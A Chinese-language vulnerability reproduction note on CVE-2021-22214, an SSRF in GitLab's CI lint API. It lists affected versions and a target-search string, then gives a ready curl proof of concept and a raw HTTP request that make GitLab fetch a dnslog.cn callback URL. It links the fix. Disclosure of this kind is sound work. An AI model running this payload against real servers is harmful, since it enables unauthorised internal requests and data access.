簡介:
GitLab是由GitLabInc.開發,使用MIT許可證的基於網絡的Git倉庫管理工具,具有issue跟蹤功能。它使用Git作為代碼管理工具,並在此基礎上搭建起來的web服務。
漏洞概述:
編號:CVE-2021-22214
Gitlab的CI lint API用於驗證提供給gitlab ci的配置文件是否是yaml格式。而根據其說明文檔文檔,其include 操作支持remote選項,用於獲取遠端的yaml。因此在此處將remote參數設置為本地回環地址,同時由於后端會檢查最后擴展名,加上?test.yaml 即可繞過。遠程攻擊者可通過發送特殊構造的HTTP請求,欺騙應用程序向任意系統發起請求。攻擊者成功利用該漏洞可獲得敏感數據的訪問權限或向其他服務器發送惡意請求。
影響版本:
13.10.5 > GitLab >= 10.5
13.11.5 > GitLab >= 13.11
13.12.2 > GitLab >= 13.12
漏洞復現:
app="GitLab"
POC為:(使用時修改兩處即可)
curl -k -s --show-error -H 'Content-Type: application/json' http://127.0.0.1/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://6hd7mj.dnslog.cn /api/v1/targets/?test.yml"}'
完成數據包如下:
POST /api/v4/ci/lint HTTP/1.1 Host: 127.0.0.1 Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 112 {"include_merged_yaml": true, "content": "include:\n remote: http://6hd7mj.dnslog.cn/api/v1/targets?test.yml"}
修復方式:
當前官方已發布最新版本,建議受影響的用戶及時更新升級到最新版本:
https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/